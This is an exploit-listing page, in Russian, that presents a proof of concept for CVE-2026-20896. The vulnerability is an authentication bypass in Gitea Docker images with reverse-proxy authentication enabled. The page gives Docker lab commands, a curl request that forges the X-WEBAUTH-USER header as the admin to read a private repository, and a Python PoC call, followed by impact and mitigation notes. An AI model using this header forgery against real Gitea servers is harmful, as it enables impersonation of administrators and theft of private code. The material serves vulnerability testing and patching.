Sploitus

Exploit for CVE-2026-20896

kitploit · 2026-09-03

Exploit Code

MARKDOWN89 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EQSTLAB-CVE-2026-20896
# CVE-2026-20896: PoC обхода аутентификации в Docker-образе Gitea

> [!WARNING] Используйте этот PoC только в локальной лаборатории или против системы, на тестирование которой у вас есть явное разрешение.

https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b

# Обзор

**CVE-2026-20896** — это обход аутентификации в затронутых официальных Docker-образах Gitea. Когда включена аутентификация через обратный прокси, генерируемая образом настройка `REVERSE_PROXY_TRUSTED_PROXIES = *` позволяет клиенту, имеющему доступ к бэкенду Gitea, выдавать себя за существующего пользователя через заголовок `X-WEBAUTH-USER`.

Лаборатория создаёт администратора с именем `gitea-admin` со случайным паролем и сохраняет `CVE-2026-20896_AUTH_BYPASS_CONFIRMED` в приватном репозитории `gitea-admin/private-proof`. Чтение этого файла без знания случайного пароля администратора демонстрирует обход аутентификации.

# Затронутые версии

Категория| Версия  
---|---  
Уязвимые| Официальные Docker-образы `gitea/gitea` ≤ 1.26.2  
Первая исправленная| 1.26.3  
Рекомендуемая| 1.26.4 или новее  
  
Уязвимая конфигурация требует, чтобы аутентификация через обратный прокси была включена, а бэкенд Gitea был напрямую доступен, либо чтобы вышестоящий прокси сохранял заголовок идентификации, предоставленный атакующим. Контейнер обратного прокси не требуется для локального воспроизведения.

# Окружение

root@kitploit:~
    
    
    # сборка
    docker build -t cve-2026-20896-gitea-vuln .
    
    # запуск
    docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
    

Подождите несколько секунд, пока Gitea и приватный репозиторий с доказательством инициализируются.

# PoC

## cURL

root@kitploit:~
    
    
    curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
    

Успешная эксплуатация возвращает `CVE-2026-20896_AUTH_BYPASS_CONFIRMED`.

## Python

root@kitploit:~
    
    
    python poc.py http://127.0.0.1:3000
    

Скрипт сравнивает неаутентифицированные запросы, запросы от не-администратора и подделанные запросы администратора и выводит `VULNERABLE`, когда обход авторизации подтверждён. Требуется Python 3.10 или новее; используется только стандартная библиотека.

# Влияние

  * Выдача себя за известных или угадываемых пользователей Gitea
  * Несанкционированный доступ к приватным репозиториям и ресурсам пользователей
  * Административные действия при выдаче себя за учётную запись администратора



# Смягчение

  * Обновитесь до Gitea 1.26.3 или новее; рекомендуется 1.26.4 или новее.
  * Ограничьте `REVERSE_PROXY_TRUSTED_PROXIES` адресами доверенных прокси.
  * Предотвратите прямой доступ к бэкенду Gitea и перезаписывайте заголовки идентификации, поступающие извне.
  * Отключите аутентификацию через обратный прокси, если она не требуется.



# Очистка

root@kitploit:~
    
    
    docker stop cve-2026-20896-gitea-vuln
    

# Ссылки

  * Консультация по безопасности Gitea GHSA-f75j-4cw6-rmx4
  * Анонс релизов Gitea 1.26.3 и 1.26.4
  * PR #38151 с исправлением безопасности Gitea